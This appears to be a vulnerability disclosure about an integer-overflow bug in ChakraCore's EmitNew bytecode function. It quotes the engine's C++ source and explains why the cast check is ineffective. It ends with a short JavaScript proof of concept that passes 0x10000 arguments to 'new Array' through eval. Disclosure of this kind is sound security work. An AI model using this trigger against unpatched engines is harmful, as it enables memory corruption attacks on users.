The bytecode generator uses the "EmitNew" function to handle new operators.
Here's the code how the function checks for integer overflow.
void EmitNew(ParseNode* pnode, ByteCodeGenerator* byteCodeGenerator, FuncInfo* funcInfo)
{
Js::ArgSlot argCount = pnode->sxCall.argCount;
argCount++; // include "this"
BOOL fSideEffectArgs = FALSE;
unsigned int tmpCount = CountArguments(pnode->sxCall.pnodeArgs, &fSideEffectArgs);
Assert(argCount == tmpCount);
if (argCount != (Js::ArgSlot)argCount)
{
Js::Throw::OutOfMemory();
}
...
}
"Js::ArgSlot" is a 16 bit unsigned integer type. And "argCount" is of the type "Js::ArgSlot". So "if (argCount != (Js::ArgSlot)argCount)" has no point. It can't prevent the integer overflow at all.
PoC:
-->
let args = new Array(0x10000);
args = args.fill(0x1234).join(', ');
eval('new Array(' + args + ')');
